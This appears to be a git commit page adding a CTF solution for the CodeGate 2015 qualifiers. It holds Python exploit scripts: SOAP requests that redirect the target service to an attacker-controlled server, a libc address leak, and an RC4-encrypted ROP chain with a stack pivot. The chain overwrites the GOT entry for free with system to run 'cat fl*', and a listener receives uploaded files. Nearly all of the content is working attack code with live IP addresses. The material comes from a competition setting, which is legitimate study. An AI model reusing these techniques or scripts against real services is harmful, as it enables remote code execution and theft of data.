Add CodeGate 2015 Quals stuff
This commit is contained in:
parent
14a3f0ed6a
commit
705195ecac
5 changed files with 204 additions and 0 deletions
10
CGQ2015/decrypt.py
Normal file
10
CGQ2015/decrypt.py
Normal file
|
@ -0,0 +1,10 @@
|
|||
import sys
|
||||
|
||||
# This decryps using pre-generated RC4 key bitstream
|
||||
|
||||
key = open('xorkey').read()
|
||||
|
||||
enc = open(sys.argv[1]).read()
|
||||
|
||||
for i, c in enumerate(enc):
|
||||
sys.stdout.write(chr(ord(c)^ord(key[i])))
|
53
CGQ2015/sploit.py
Normal file
53
CGQ2015/sploit.py
Normal file
|
@ -0,0 +1,53 @@
|
|||
# Change SERVER and PORT to somethinf where sploit_server.py runs
|
||||
d1 = """<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body xmlns:ns="urn:oam"><ns:getversion></ns:getversion></soap:Body></soap:Envelope>
|
||||
|
||||
<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body xmlns:ns="urn:oam"><ns:setconf><value xsi:type="xsd:string">aaaa
|
||||
SERVER=93.115.90.171
|
||||
PORT=12345
|
||||
LOGFILE=/proc/self/cmdline</value></ns:setconf></soap:Body></soap:Envelope>
|
||||
|
||||
<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body xmlns:ns="urn:oam"><ns:reset></ns:reset></soap:Body></soap:Envelope>"""
|
||||
|
||||
d2 = """<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body xmlns:ns="urn:oam"><ns:echotest></ns:echotest></soap:Body></soap:Envelope>"""
|
||||
|
||||
import socket
|
||||
import time
|
||||
s = socket.socket()
|
||||
s.connect(('54.178.148.88', 7547))
|
||||
#s.connect(('127.0.0.1', 7547))
|
||||
time.sleep(1)
|
||||
#s.sendall("file oam\nr\n")
|
||||
#time.sleep(1)
|
||||
#print s.recv(2048)
|
||||
|
||||
s.sendall(d1)
|
||||
import time
|
||||
time.sleep(1)
|
||||
print s.recv(2048)
|
||||
|
||||
s.sendall(d2)
|
||||
time.sleep(1)
|
||||
|
||||
d3 = s.recv(2048)
|
||||
free = d3[-8:]
|
||||
import struct
|
||||
free, = struct.unpack('<Q', free)
|
||||
print hex(free)
|
||||
|
||||
#0000000000082df0 g DF .text 00000000000000f5 GLIBC_2.2.5 free
|
||||
#0000000000046640 w DF .text 000000000000002d GLIBC_2.2.5 system
|
||||
|
||||
#diff = 251200
|
||||
diff = 0x82df0 - 0x46640
|
||||
|
||||
free2 = free - diff
|
||||
print hex(free2)
|
||||
|
||||
s.sendall('cat fl*\x00') # max 8 bytes, change in READ call in sploit_server.py
|
||||
time.sleep(1)
|
||||
print s.recv(2048)
|
||||
time.sleep(1)
|
||||
s.sendall(struct.pack('<Q', free2))
|
||||
time.sleep(1)
|
||||
print s.recv(2048)
|
||||
print s.recv(2048)
|
135
CGQ2015/sploit_server.py
Normal file
135
CGQ2015/sploit_server.py
Normal file
|
@ -0,0 +1,135 @@
|
|||
import socket
|
||||
import struct
|
||||
import pwn
|
||||
|
||||
#RC4 Implementation
|
||||
def rc4_crypt( data , key ):
|
||||
|
||||
S = range(256)
|
||||
j = 0
|
||||
out = []
|
||||
|
||||
#KSA Phase
|
||||
for i in range(256):
|
||||
j = (j + S[i] + ord( key[i % len(key)] )) % 256
|
||||
S[i] , S[j] = S[j] , S[i]
|
||||
|
||||
#PRGA Phase
|
||||
i = j = 0
|
||||
for char in data:
|
||||
i = ( i + 1 ) % 256
|
||||
j = ( j + S[i] ) % 256
|
||||
S[i] , S[j] = S[j] , S[i]
|
||||
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))
|
||||
|
||||
return ''.join(out)
|
||||
|
||||
|
||||
s = socket.socket()
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
s.bind(('0.0.0.0', 12345))
|
||||
s.listen(100)
|
||||
|
||||
#0x00402845: add rsp, 0x68 ; pop rbx ; pop rbp ; ret ; (1 found)
|
||||
ADD_RSP_68_POP_POP_RET = 0x00402845
|
||||
# 0x00402994: add rsp, 0x0000000000000338 ; pop rbx ; pop rbp ; ret ; (1 found)
|
||||
ADD_RSP_338_POP_POP_RET = 0x00402994
|
||||
# 0x00402849: pop rbx ; pop rbp ; ret ; (28 found)
|
||||
POP_POP_RET = 0x00402849
|
||||
# 0x0040a043: pop rdi ; ret ; (1 found)
|
||||
POP_RDI = 0x0040a043
|
||||
# 0x0040a041: pop rsi ; pop r15 ; ret ; (1 found)
|
||||
POP_RSI_R15 = 0x0040a041
|
||||
# .got.plt _read
|
||||
READ = 0x401B60
|
||||
# .got.plt write
|
||||
WRITE = 0x401A80
|
||||
#0x0040a020: mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found)
|
||||
RDX_SHIT = 0x0040a020
|
||||
# 0x0040a03a: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found)
|
||||
POP_MANY = 0x0040a03a
|
||||
# 0x0040a055: sub esp, 0x08 ; add rsp, 0x08 ; ret ; (1 found)
|
||||
ADD_RSP_8_POP = 0x0040a055
|
||||
# 0x00401fad: call rax ; (3 found)
|
||||
CALL_RAX = 0x00401fad
|
||||
# 0x0040c18b: call qword [rdi+0x00] ; (2 found)
|
||||
CALL_RDI = 0x0040c18b
|
||||
# 0x00401f15: pop rbp ; ret ; (59 found)
|
||||
POP_RBP = 0x00401f15
|
||||
# 0x00401fbc: call qword [rbp+0x48] ; (1 found)
|
||||
CALL_RBP = 0x00401fbc
|
||||
|
||||
# htons - useless function, used to studd RDX_SHIT indirect call
|
||||
HTONS = 0x60d088
|
||||
|
||||
# free in .got.plt - we leak this, then override this
|
||||
LEAK_ADDRESS = 0x60D018
|
||||
LEAK_LENGTH = 8
|
||||
# place to keep system arg
|
||||
SYSTEM_ARG_ADDRESS = LEAK_ADDRESS + 8
|
||||
SYSTEM_ARG_LENGTH = 8 #change this if you change the sent length in the client
|
||||
|
||||
key = 'this_is_preshared_key'
|
||||
|
||||
## WRITE 8 BYTES OF GOT.PLT FREE TO STDOUT
|
||||
sent_buffer = pwn.cyclic(672) + pwn.p64(POP_MANY) + pwn.p64(0xFFFFFFFFFFFFFFFF) + pwn.p64(0) + pwn.p64(0x60d088) + pwn.p64(LEAK_LENGTH) + pwn.p64(0) + pwn.p64(0)
|
||||
sent_buffer += pwn.p64(RDX_SHIT)
|
||||
sent_buffer += pwn.p64(8) * 7
|
||||
sent_buffer += pwn.p64(POP_RDI) + pwn.p64(1) + pwn.p64(POP_RSI_R15) + pwn.p64(LEAK_ADDRESS) + pwn.p64(0)
|
||||
sent_buffer += pwn.p64(WRITE)
|
||||
|
||||
## READ SYSTEM ARG TO CLIENT
|
||||
sent_buffer += pwn.p64(POP_MANY) + pwn.p64(0xFFFFFFFFFFFFFFFF) + pwn.p64(0) + pwn.p64(0x60d088) + pwn.p64(SYSTEM_ARG_LENGTH) + pwn.p64(0) + pwn.p64(0)
|
||||
sent_buffer += pwn.p64(RDX_SHIT)
|
||||
sent_buffer += pwn.p64(8) * 7
|
||||
sent_buffer += pwn.p64(POP_RDI) + pwn.p64(0) + pwn.p64(POP_RSI_R15) + pwn.p64(SYSTEM_ARG_ADDRESS) + pwn.p64(0)
|
||||
sent_buffer += pwn.p64(READ)
|
||||
|
||||
## RESEND TO CLIENT FOR DEBUG
|
||||
sent_buffer += pwn.p64(POP_MANY) + pwn.p64(0xFFFFFFFFFFFFFFFF) + pwn.p64(0) + pwn.p64(0x60d088) + pwn.p64(8) + pwn.p64(0) + pwn.p64(0)
|
||||
sent_buffer += pwn.p64(RDX_SHIT)
|
||||
sent_buffer += pwn.p64(8) * 7
|
||||
sent_buffer += pwn.p64(POP_RDI) + pwn.p64(1) + pwn.p64(POP_RSI_R15) + pwn.p64(LEAK_ADDRESS+8) + pwn.p64(0)
|
||||
sent_buffer += pwn.p64(WRITE)
|
||||
|
||||
## OVERRIDE FREE IN PLT WITH SYSTEM CALCULATED BY CLIENT
|
||||
sent_buffer += pwn.p64(POP_MANY) + pwn.p64(0xFFFFFFFFFFFFFFFF) + pwn.p64(0) + pwn.p64(0x60d088) + pwn.p64(LEAK_LENGTH) + pwn.p64(0) + pwn.p64(0)
|
||||
sent_buffer += pwn.p64(RDX_SHIT)
|
||||
sent_buffer += pwn.p64(8) * 7
|
||||
sent_buffer += pwn.p64(POP_RDI) + pwn.p64(0) + pwn.p64(POP_RSI_R15) + pwn.p64(LEAK_ADDRESS) + pwn.p64(0)
|
||||
sent_buffer += pwn.p64(READ)
|
||||
|
||||
## CALL OVERRIDDEN FREE/SYSTEM
|
||||
sent_buffer += pwn.p64(POP_RDI) + pwn.p64(LEAK_ADDRESS+8)
|
||||
sent_buffer += pwn.p64(POP_RBP) + pwn.p64(LEAK_ADDRESS-0x48)
|
||||
sent_buffer += pwn.p64(CALL_RBP)
|
||||
|
||||
|
||||
## Crash the thing. This is tricky - basically I fuzzed gSOAP to a call [rax], where RAX was from the buffer at offset 50248. Then we stackpivot into the beggining of the buffer, to our ropchain (at the 672th offset in the buffer)
|
||||
sent_buffer += pwn.cyclic(50248-len(sent_buffer)) + struct.pack("<Q", ADD_RSP_338_POP_POP_RET)
|
||||
left = 0x10000 - len(sent_buffer)
|
||||
cy = pwn.cyclic(50248+left)[50248:]
|
||||
sent_buffer += cy
|
||||
sent_buffer = rc4_crypt(sent_buffer, key)
|
||||
|
||||
while True:
|
||||
cs, a = s.accept()
|
||||
print "Connection from", a
|
||||
cmd = cs.recv(4)
|
||||
print cmd
|
||||
if cmd == "ECHO":
|
||||
# Pwn!
|
||||
l, = struct.unpack("<L", cs.recv(4))
|
||||
print l
|
||||
data = cs.recv(l)
|
||||
print data.encode('hex')
|
||||
cs.send(struct.pack("<L", 0x10000))
|
||||
cs.sendall(sent_buffer)
|
||||
if cmd == "UPLD":
|
||||
# Dump uploaded file, to be decrypted by client
|
||||
l, = struct.unpack("<L", cs.recv(4))
|
||||
print l
|
||||
data = cs.recv(l)
|
||||
f = open('bin', 'w')
|
||||
f.write(data)
|
||||
f.close()
|
6
CGQ2015/their-conf.bak
Normal file
6
CGQ2015/their-conf.bak
Normal file
|
@ -0,0 +1,6 @@
|
|||
VERSION=1.0.0
|
||||
SERVER=127.0.0.1
|
||||
PORT=7788
|
||||
LOGFILE=auth.log
|
||||
LOGLEV=5
|
||||
ENCKEY=this_is_preshared_key
|
BIN
CGQ2015/xorkey
Normal file
BIN
CGQ2015/xorkey
Normal file
Binary file not shown.
Loading…
Add table
Reference in a new issue